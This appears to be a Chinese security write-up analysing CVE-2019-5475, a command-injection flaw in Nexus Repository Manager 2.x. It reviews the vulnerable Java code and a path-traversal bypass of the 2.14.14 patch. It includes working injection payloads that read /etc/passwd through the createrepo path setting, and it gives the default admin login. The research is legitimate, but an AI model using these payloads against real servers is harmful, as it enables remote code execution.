CVE-2019-5475(Nexus Repository Manager 2.x 远程代码执行漏洞)分析

Table of Contents

受影响的版本:

1. 环境安装

依赖 JDK 1.8。下载 Nexus 2.14.13:

$ curl https://download.sonatype.com/nexus/oss/nexus-2.14.13-01-bundle.zip -O

解压后运行:

$ ./bin/nexus start

通过浏览器访问:http://server:8081/nexus/

默认登录帐号:admin/admin123。

2. 漏洞复现

选择左边导航栏“Administration” > “Capabilities”,漏洞触发点在“Yum: Configuration” > “Settings”中,为”Path of "createrepo"配置:

sh -c {cat,/etc/passwd} #

配置方式如下图:

%E5%9B%BE1.png

保存后,进入“Status”选项卡,即可看到执行结果,如下图:

%E5%9B%BE2.png

3. 漏洞分析

https://github.com/sonatype/nexus-public 获取有漏洞的源码:

$ git clone https://github.com/sonatype/nexus-public.git
$ cd nexus-public
$ git checkout -b 2.14.13-01 origin/release-2.14.13-01

漏洞产生点位于 plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/capabilities/YumCapability.java:

private void validate(final String type, final String path,
                      final String versionConstraint,
                      final StringBuilder message, final StringBuilder verificationLog)
{
    String and = message.length() > 0 ? " and " : "";
    verificationLog.append("\"").append(type).append("\" version:").append(NL);
    ByteArrayOutputStreambaos = new ByteArrayOutputStream();
    try {
        if (commandLineExecutor.exec(path + " --version", baos, baos) == 0) {
            String versionOutput = new String(baos.toByteArray());
            verificationLog.append(versionOutput);
            ensureVersionCompatible(type, versionOutput, versionConstraint, message, verificationLog);
        }
        else {
            message.append(and).append("\"").append(type).append("\" not available");
            verificationLog.append(new String(baos.toByteArray()));
        }
    }
    catch (IOException e) {
        message.append(and).append("\"").append(type).append("\" not available");
        verificationLog.append(new String(baos.toByteArray()));
        verificationLog.append(e.getMessage()).append(NL);
    }
}

关键代码:

commandLineExecutor.exec(path + " --version", baos, baos)

path 参数在没有任何限制下,就直接带入 commandLineExecutor.exec 去执行命令,只是执行的命令会强制性拼接“–version”参数,因此 Payload 后面使用”#“做了注释截断。

commandLineExecutor.exec 的实现位于 plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/task/CommandLineExecutor.java,如下:

public int exec(final String command, OutputStream out, OutputStream err)
    throws IOException
{
    LOG.debug("Execute command : {}", command);

    CommandLine cmdLine = CommandLine.parse(command);
    DefaultExecutor executor = new DefaultExecutor();
    executor.setStreamHandler(new PumpStreamHandler(out, err));

    int exitValue = executor.execute(cmdLine);
    LOG.debug("Execution finished with exit code : {}", exitValue);
    return exitValue;
}

它没有对要执行的命令做任何判断。

3.1. 2.14.14 补丁绕过

根据参考文章 1 提供的信息,版本 2.14.14 发布的补丁仍然存在绕过漏洞,将代码切换到 2.14.14-01 分支:

$ git checkout -b 2.14.14-01 origin/release-2.14.14-01

再次查看文件 CommandLineExecutor.java,exec 函数多出以下几行代码:

String cleanCommand = getCleanCommand(command, params);

if (cleanCommand == null) {
    throw new IllegalAccessException("Attempt to execute unsupported executable " + command);
}

LOG.debug("Execute command : {}", cleanCommand);

getCleanCommand 函数用于验证命令是否合法,它的实现如下:

private String getCleanCommand(String command, String params) {
    /* 判断1:如果执行的命令是 allowedExecutables 中指定,便可执行 */
    if (allowedExecutables.contains(command)) {
        return command + " " + params;
    }

    File file = new File(command);

    /* 判断2:检查要执行命令所在目录是否是 Nexus 目录下的 */
    if (file.getAbsolutePath().startsWith(applicationDirectories.getWorkDirectory().getAbsolutePath())) {
        LOG.debug("Attempt to execute command with illegal path {}", file.getAbsolutePath());
        return null;
    }

    /* 判断3:检查执行文件名是否存在于 allowedExecutables 中 */
    if (!allowedExecutables.contains(file.getName())) {
        LOG.debug("Attempt to execute illegal command {}", file.getAbsolutePath());
        return null;
    }

    return file.getAbsolutePath() + " " + params;
}

allowedExecutables 的定义如下:

private final Set<String> allowedExecutables = new HashSet<>();

......

@Inject
public CommandLineExecutor(final ApplicationDirectories applicationDirectories,
                           @Named("${yum.cli.allowed:-createrepo,mergerepo}") final String allowedExecutables)
{
    this.applicationDirectories = applicationDirectories;

    this.allowedExecutables.addAll(stream(allowedExecutables.split(",")).map(String::trim).collect(toSet()));
}

也就是说,allowedExecutables 只允许 createrepo 和 mergerepo 两个命令。

问题出现在 getCleanCommand 第二个判断步骤:判断 file.getAbsolutePath 返回的绝对路径字符串是否以当前工作目录的开头,而 java.io.File 的 getAbsolutePath 方法在实现上有个坑,为了方便,我用 Scala 演示下:

import java.io.File
val f = new File("../../bin/bash")
f.getAbsolutePath // => /home/lu4nx/../../bin/bash

如上,对于越目录来说,getAbsolutePath 也会完整拼接到路径后面;但对于传递给命令执行来说会被正确解析,因此绕过的 Payload 如下:

../../usr/bin/sh -c {cat,/etc/passwd} # test/createrepo

4. 参考资料

Footnotes: